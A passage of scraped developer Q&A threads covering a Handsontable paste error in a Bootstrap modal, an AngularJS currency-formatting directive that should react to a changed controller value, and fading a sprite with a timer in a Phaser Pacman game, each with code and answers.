> at handsontable.full.js?v=1.2:23966
> at ColumnSettings.Handsontable.AutocompleteValidator [as validator] (handsontable.full.js?v=1.2:23949)
It's working fine when i am pasting 4 to 5 columns but when i trying more than 7 getting above error.previously i tested in tab it's works fine there but when i moved handsontable grid to bootstrap modal getting this error.please help i am trying to understand.
please find below how i created handsontable
manualHot = new Handsontable(container, {
rowHeaders: true,
colHeaders: true,
startRows: 100,
startCols: 125,
// columns: columns,
dropdownMenu: true,
contextMenu: true,
filters:true,
manualColumnResize: true,
height: 500,
wordWrap:false,
colWidths: 100,
rowHeights: 23,
autoColumnSize: true,
columnSorting: true,
fixedRowsTop:1,
copyable:true,
sortFunction: function(sortOrder, columnMeta) {
return function(a, b) {
var plugin = manualHot.getPlugin('columnSorting');
var sortFunction;
if (a[0] === 0) {
return -1;
}
switch (columnMeta.type) {
case 'date':
sortFunction = plugin.dateSort;
break;
case 'numeric':
sortFunction = plugin.numericSort;
break;
default:
sortFunction = plugin.defaultSort;
}
return sortFunction(sortOrder, columnMeta)(a, b);
};
},
trimDropdown :false,
formulas: true,
cells: function (row, col, prop) {
var cellProperties = {};
if (row === 0) {
cellProperties.type = 'dropdown';
cellProperties.source= colHeaderArr;
cellProperties.allowInvalid = false;
}
return cellProperties;
},
afterValidate: function (isValid, value, row, prop, source) {
if (source === 'loadData' || source === 'internal' ) {
return;
}
if (!isValid ) {
errorHeader[prop]=headerCols[prop];
}
},
});
manualHot.addHook('beforeChange', function(changes, source) {
dupheaders=[]
dupheaders.length=0;
if (source === 'loadData' || source === 'internal' || changes.length > 1) {
return;
}
var row = changes[0][0];
var prop = changes[0][1];
var newVal = changes[0][3];
var oldVal=changes[0][2];
if ( row ===0) {
headerCols[prop]=newVal;
var sorted_head = headerCols.slice().sort();
for (var i = 0; i < headerCols.length - 1; i++) {
if (sorted_head[i + 1] == sorted_head[i]) {
if(sorted_head[i]){dupheaders.push(sorted_head[i]);}
}
}
if(dupheaders.length>0){
var errMsg='Duplicate Headers :<br>'+dupheaders;
setTimeout(function(){$('#manualDataOnlinePrep-Tab').unblock();},1000);
common.showMessage(errMsg, false, "error", "middle-center");
}
errorHeader.splice(prop, 1);
setColumnType(colProp,prop,newVal, this,txnTypeArr);
}
});
manualHot.init();
}
function setColumnType(columnProp,col,newVal, instance,ddValue) {
if(newVal === 'Reporting Code Description' ) {
columnProp[col].type='dropdown';
columnProp[col].source=ddValue;
}
else{
if(newVal.match(/^.*Date$/)){
columnProp[col].type='date';
columnProp[col].dateFormat=document.getElementById("dateFormat_2").value;
columnProp[col].allowInvalid=true;
}
else if (newVal.match(/^.*Amount$/)){
columnProp[col].type='numeric';
columnProp[col].format= '[00,00,000].00';
columnProp[col].allowInvalid=false;
}
else if (newVal.match(/^.*Rate$/)){
columnProp[col].type='numeric';
columnProp[col].format= '0.[000000]';
columnProp[col].allowInvalid=false;
}
else{
columnProp[col].type='text';
}
}
instance.updateSettings({columns: columnProp},{contextMenu:true});
instance.validateCells(function() {
instance.render();
});
}

How to call a custom directive from angular controller

I have a directive which is depending on some input. I want to call that directive from angular controller when ever that input changed. Here is my directive.
var app = angular.module('App', ['ui.bootstrap']);
app.controller('fcController', function($scope, fcService, $uibModal) {
$scope.formatType = '1';
});
app.directive('fcsaNumber', function($filter) {
var addCommasToInteger, controlKeys, hasMultipleDecimals, isNotControlKey, isNotDigit, isNumber, makeIsValid, makeMaxDecimals, makeMaxDigits, makeMaxNumber, makeMinNumber;
isNumber = function(val) {
return !isNaN(parseFloat(val)) && isFinite(val);
};
isNotDigit = function(which) {
return which < 45 || which > 57 || which === 47;
};
controlKeys = [0, 8, 13];
isNotControlKey = function(which) {
return controlKeys.indexOf(which) === -1;
};
hasMultipleDecimals = function(val) {
return (val != null) && val.toString().split('.').length > 2;
};
makeMaxDecimals = function(maxDecimals) {
var regexString, validRegex;
if (maxDecimals > 0) {
regexString = "^-?\\d*\\.?\\d{0," + maxDecimals + "}$";
} else {
regexString = "^-?\\d*$";
}
validRegex = new RegExp(regexString);
return function(val) {
return validRegex.test(val);
};
};
makeMaxNumber = function(maxNumber) {
return function(val, number) {
return number <= maxNumber;
};
};
makeMinNumber = function(minNumber) {
return function(val, number) {
return number >= minNumber;
};
};
makeMaxDigits = function(maxDigits) {
var validRegex;
validRegex = new RegExp("^-?\\d{0," + maxDigits + "}(\\.\\d*)?$");
return function(val) {
return validRegex.test(val);
};
};
makeIsValid = function(options) {
var validations;
validations = [];
if (options.maxDecimals != null) {
validations.push(makeMaxDecimals(options.maxDecimals));
}
if (options.max != null) {
validations.push(makeMaxNumber(options.max));
}
if (options.min != null) {
validations.push(makeMinNumber(options.min));
}
if (options.maxDigits != null) {
validations.push(makeMaxDigits(options.maxDigits));
}
return function(val) {
var i, number, _i, _ref;
if (!isNumber(val)) {
return false;
}
if (hasMultipleDecimals(val)) {
return false;
}
number = Number(val);
for (i = _i = 0, _ref = validations.length; 0 <= _ref ? _i < _ref : _i > _ref; i = 0 <= _ref ? ++_i : --_i) {
if (!validations[i](val, number)) {
return false;
}
}
return true;
};
};
addCommasToInteger = function(val) {
var commas, decimals, wholeNumbers;
decimals = val.indexOf('.') == -1 ? '.00' : val.replace(/^\d+(?=\.)/, '');
wholeNumbers = val.replace(/(\.\d+)$/, '');
commas = wholeNumbers.replace(/(\d)(?=(\d{3})+(?!\d))/g, '$1,');
return "" + commas + decimals.substring(0, 3);
};
return {
restrict: 'A',
require: 'ngModel',
scope: {
options: '#fcsaNumber',
},
link: function(scope, elem, attrs, ngModelCtrl) {
var isValid, options;
options = {};
if (scope.options != null) {
options = scope.$eval(scope.options);
}
isValid = makeIsValid(options);
ngModelCtrl.$parsers.unshift(function(viewVal) {
var noCommasVal;
noCommasVal = viewVal.replace(/,/g, '');
if (isValid(noCommasVal) || !noCommasVal) {
ngModelCtrl.$setValidity('fcsaNumber', true);
return noCommasVal;
} else {
ngModelCtrl.$setValidity('fcsaNumber', false);
return void 0;
}
});
ngModelCtrl.$formatters.push(function(val) {
if ((options.nullDisplay != null) && (!val || val === '')) {
return options.nullDisplay;
}
if ((val == null) || !isValid(val)) {
return val;
}
ngModelCtrl.$setValidity('fcsaNumber', true);
val = addCommasToInteger(val.toString());
if (options.key == 1) {
options.prepend = 'S/.';
}
if (options.key == 2) {
options.prepend = '$';
}
if (options.prepend != null) {
val = "" + options.prepend + val;
}
if (options.append != null) {
val = "" + val + options.append;
}
return val;
});
elem.on('blur', function() {
var formatter, viewValue, _i, _len, _ref;
viewValue = ngModelCtrl.$modelValue;
if ((viewValue == null) || !isValid(viewValue)) {
return;
}
_ref = ngModelCtrl.$formatters;
for (_i = 0, _len = _ref.length; _i < _len; _i++) {
formatter = _ref[_i];
viewValue = formatter(viewValue);
}
ngModelCtrl.$viewValue = viewValue;
return ngModelCtrl.$render();
});
elem.on('focus', function() {
var val;
val = elem.val();
if (options.prepend != null) {
val = val.replace(options.prepend, '');
}
if (options.append != null) {
val = val.replace(options.append, '');
}
elem.val(val.replace(/,/g, ''));
return elem[0].select();
});
if (options.preventInvalidInput === true) {
return elem.on('keypress', function(e) {
if (isNotDigit(e.which && isNotControlKey(e.which))) {
return e.preventDefault();
}
});
}
}
};
});
HTML:
<input type ="text" ng-model ="currency" fcsa-number="{key : {{formatType}}}">
Here $scope.formatType = '1'; is the input. If this formatType changed then That directive need to call. One friend suggested me this
link: function(scope,elem,attr,ctrl){
scope.$watch('fcsaNumber', function(){
// do your stuff
});
but it is not calling my directive manually.
even I have tried with
.controller("ctrl", function($scope) {
$scope.$watch('formatType', function() {
$scope.$broadcast("call_dir")
})
})
return {
restrict: 'A',
require: 'ngModel',
scope: {
options: '#fcsaNumber',
},
link: function(scope, elem, attrs, ngModelCtrl) {
var isValid, options;
options = {};
scope.$on('call_dir', function(ev) {
//your code
})
};
You need to watch the value that is going to change in your controller. In your case it is formatType.
You should try to use this expression in your isolated scope:
scope: {
options: '=fcsaNumber',
}
And if you want the event broadcasting to work, i.e. the $scope.$bradcast approach, then make sure your directive is a child of the controller scope in the scope hierarchy. Else a easier way (but not always recommended) would be to broadcast your event from $rootScope.
So something like this should also work (with your event based solution):
.controller("ctrl", function($scope, $rootScope) {
$scope.$watch('formatType', function() {
$rootScope.$broadcast("call_dir")
})
})

Making invisible sprite with phaser

I need some help with my code. I want to make the str sprite invisible after 10 seconds.
I'm using this link for help: http://phaser.io/examples/v2/time/basic-timed-event
var game = new Phaser.Game(500, 550, Phaser.AUTO);
//var picture;
var Pacman = function (game) {
this.map = null;
this.layer = null;
this.pacman = null;
this.safetile = 14;
this.gridsize = 16;
this.speed = 100;
this.threshold = 3;
this.turnSpeed = 200;
this.marker = new Phaser.Point();
this.turnPoint = new Phaser.Point();
this.directions = [ null, null, null, null, null ];
this.opposites = [ Phaser.NONE, Phaser.RIGHT, Phaser.LEFT, Phaser.DOWN, Phaser.UP ];
this.current = Phaser.NONE;
this.turning = Phaser.NONE;
this.score=0;
this.scoreText='';
this.bonus=0;
this.bonusText='';
};
Pacman.prototype = {
init: function () {
this.scale.scaleMode = Phaser.ScaleManager.SHOW_ALL;
this.scale.pageAlignHorizontally = true;
this.scale.pageAlignVertically = true;
Phaser.Canvas.setImageRenderingCrisp(this.game.canvas);
this.physics.startSystem(Phaser.Physics.ARCADE);
},
preload: function () {
// We need this because the assets are on github pages
// Remove the next 2 lines if running locally
this.load.baseURL = 'https://nikosdaskalos.github.io/pacman/';
this.load.crossOrigin = 'anonymous';
this.load.image('str', 'assets/str.png');
this.load.image('dot', 'assets/dot.jpg');
this.load.image('coin', 'assets/coin.jpg');
this.load.image('tiles', 'assets/pacman-tiles.png');
this.load.spritesheet('pacman', 'assets/pacman.png');
this.load.tilemap('map', 'assets/pacman-map.json', null, Phaser.Tilemap.TILED_JSON);
// Needless to say, graphics (C)opyright Namco
},
create: function () {
this.map = this.add.tilemap('map');
this.map.addTilesetImage('pacman-tiles', 'tiles');
this.layer = this.map.createLayer('Pacman');
//picture = game.add.sprite(game.world.centerX, game.world.centerY, 'str');
//picture.anchor.setTo(0.5, 0.5);
//game.time.events.add(Phaser.Timer.SECOND * 4, fadePicture, this);
this.dots = this.add.physicsGroup();
this.map.createFromTiles(36, this.safetile, 'str', this.layer, this.dots);
this.map.createFromTiles(7, this.safetile, 'dot', this.layer, this.dots);
this.map.createFromTiles(35, this.safetile, 'coin', this.layer, this.dots);
// The dots will need to be offset by 6px to put them back in the middle of the grid
this.dots.setAll('x', 6, false, false, 1);
this.dots.setAll('y', 6, false, false, 1);
// Pacman should collide with everything except the safe tile
this.map.setCollisionByExclusion([this.safetile], true, this.layer);
// Position Pacman at grid location 14x17 (the +8 accounts for his anchor)
this.pacman = this.add.sprite((14 * 16) + 8, (17 * 16) + 8, 'pacman', 0);
this.pacman.anchor.set(0.5);
//this.pacman.animations.add('munch', [0, 1, 2, 1], 20, true);
this.physics.arcade.enable(this.pacman);
this.pacman.body.setSize(16, 16, 0, 0);
this.cursors = this.input.keyboard.createCursorKeys();
//this.pacman.play('munch');
this.move(Phaser.LEFT);
this.scoreText = game.add.text(0, 500, 'Score: 0', { fontSize: '34px Arial', fill: 'white' });
lives = game.add.group();
game.add.text(game.world.width - 340, 500, 'Lives : ', { fontSize: '34px Arial', fill: 'white' });
this.bonusText = game.add.text(360, 500, 'Bonus: 0', { fontSize: '20px Arial', fill: 'white' });
for (var i = 0; i < 3; i++)
{
var pacman = lives.create(game.world.width - 235 + (30 * i), 517, 'pacman');
pacman.anchor.setTo(0.5, 0.5);
pacman.angle = 90;
pacman.alpha = 0.4;
}
},
//function fadePicture() {
//game.add.tween(picture).to( { alpha: 0 }, 2000, Phaser.Easing.Linear.None, true);
//},
checkKeys: function () {
if (this.cursors.left.isDown && this.current !== Phaser.LEFT)
{
this.checkDirection(Phaser.LEFT);
}
else if (this.cursors.right.isDown && this.current !== Phaser.RIGHT)
{
this.checkDirection(Phaser.RIGHT);
}
else if (this.cursors.up.isDown && this.current !== Phaser.UP)
{
this.checkDirection(Phaser.UP);
}
else if (this.cursors.down.isDown && this.current !== Phaser.DOWN)
{
this.checkDirection(Phaser.DOWN);
}
else
{
// This forces them to hold the key down to turn the corner
this.turning = Phaser.NONE;
}
},
checkDirection: function (turnTo) {
if (this.turning === turnTo || this.directions[turnTo] === null || this.directions[turnTo].index !== this.safetile)
{
// Invalid direction if they're already set to turn that way
// Or there is no tile there, or the tile isn't index 1 (a floor tile)
return;
}
// Check if they want to turn around and can
if (this.current === this.opposites[turnTo])
{
this.move(turnTo);
}
else
{
this.turning = turnTo;
this.turnPoint.x = (this.marker.x * this.gridsize) + (this.gridsize / 2);
this.turnPoint.y = (this.marker.y * this.gridsize) + (this.gridsize / 2);
}
},
turn: function () {
var cx = Math.floor(this.pacman.x);
var cy = Math.floor(this.pacman.y);
// This needs a threshold, because at high speeds you can't turn because the coordinates skip past
if (!this.math.fuzzyEqual(cx, this.turnPoint.x, this.threshold) || !this.math.fuzzyEqual(cy, this.turnPoint.y, this.threshold))
{
return false;
}
// Grid align before turning
this.pacman.x = this.turnPoint.x;
this.pacman.y = this.turnPoint.y;
this.pacman.body.reset(this.turnPoint.x, this.turnPoint.y);
this.move(this.turning);
this.turning = Phaser.NONE;
return true;
},
move: function (direction) {
var speed = this.speed;
if (direction === Phaser.LEFT || direction === Phaser.UP)
{
speed = -speed;
}
if (direction === Phaser.LEFT || direction === Phaser.RIGHT)
{
this.pacman.body.velocity.x = speed;
}
else
{
this.pacman.body.velocity.y = speed;
}
// Reset the scale and angle (Pacman is facing to the right in the sprite sheet)
/* this.pacman.scale.x = 1;
this.pacman.angle = 0;
if (direction === Phaser.LEFT)
{
this.pacman.scale.x = -1;
}
else if (direction === Phaser.UP)
{
this.pacman.angle = 270;
}
else if (direction === Phaser.DOWN)
{
this.pacman.angle = 90;
}
this.current = direction;
},*/
this.add.tween(this.pacman).to( { angle: this.getAngle(direction) }, this.turnSpeed, "Linear", true);
this.current = direction;
},
getAngle: function (to) {
// About-face?
if (this.current === this.opposites[to])
{
return "180";
}
if ((this.current === Phaser.UP && to === Phaser.LEFT) ||
(this.current === Phaser.DOWN && to === Phaser.RIGHT) ||
(this.current === Phaser.LEFT && to === Phaser.DOWN) ||
(this.current === Phaser.RIGHT && to === Phaser.UP))
{
return "-90";
}
return "90";
},
eatDot: function (pacman, dot) {
dot.kill();
var audio = new Audio('assets/pacman_chomp.wav');
audio.play()
this.score+=10;
this.scoreText.text= 'Score: ' + this.score;
//setTimeout(audio.play(),2000);
if (this.dots.total === 0)
{
this.dots.callAll('revive');
}
},
/*function muteAudio() {
var audio = document.getElementById('audioPlayer');
if (audio.mute = false) {
document.getElementById('audioPlayer').muted = true;
}
else {
audio.mute = true
document.getElementById('audioPlayer').muted = false;
}
}*/
eatCoin: function(pacman,coin){//pente
coin.kill();
this.score+=20;
this.scoreText.text= 'Score: ' + this.score;
var audio = new Audio('assets/pacman_eatfruit.wav');
audio.play()
if(this.coins.total===0)
{
this.coins.callAll('revive');
}
},
eatStr: function(pacman,str){//pente
str.kill();
this.bonus+=100;
this.bonusText.text= 'Bonus: ' + this.bonus;
var audio = new Audio('assets/pacman_eatfruit.wav');
audio.play()
if(this.strs.total===0)
{
this.strs.callAll('revive');
}
},
update: function () {
this.physics.arcade.collide(this.pacman, this.layer);
this.physics.arcade.overlap(this.pacman, this.dots, this.eatDot, null, this);
this.physics.arcade.overlap(this.pacman, this.dots, this.eatCoin, null, this);
this.physics.arcade.overlap(this.pacman, this.dots, this.eatStr, null, this);
this.marker.x = this.math.snapToFloor(Math.floor(this.pacman.x), this.gridsize) / this.gridsize;
this.marker.y = this.math.snapToFloor(Math.floor(this.pacman.y), this.gridsize) / this.gridsize;
// Update our grid sensors
this.directions[1] = this.map.getTileLeft(this.layer.index, this.marker.x, this.marker.y);
this.directions[2] = this.map.getTileRight(this.layer.index, this.marker.x, this.marker.y);
this.directions[3] = this.map.getTileAbove(this.layer.index, this.marker.x, this.marker.y);
this.directions[4] = this.map.getTileBelow(this.layer.index, this.marker.x, this.marker.y);
this.checkKeys();
if (this.turning !== Phaser.NONE)
{
this.turn();
}
}
};
game.state.add('Game', Pacman, true);
</script>
</body>
</html>
So, can anyone help me with making the str invisible after 10 seconds?
You were pretty close.
I'm going to use pacman as an example, since I'm not 100% sure how you were going to fade out the coins. When Pacman eats them?
First, you want the following fadePicture function:
fadePicture: function() {
game.add.tween(this.pacman).to( { alpha: 0 }, 2000, Phaser.Easing.Linear.None, true);
},
Note how that was changed from function fadePicture().
Next, in your create function you can refer to it:
this.game.time.events.add(Phaser.Timer.SECOND * 4, this.fadePicture, this);
That replaces the following:
//game.time.events.add(Phaser.Timer.SECOND * 4, fadePicture, this);
I've created a JSFiddle with the relevant changes.
If you do want your coins to fade then I would try updating fadePicture to accept a dot/str parameter and then game.add.tween on that.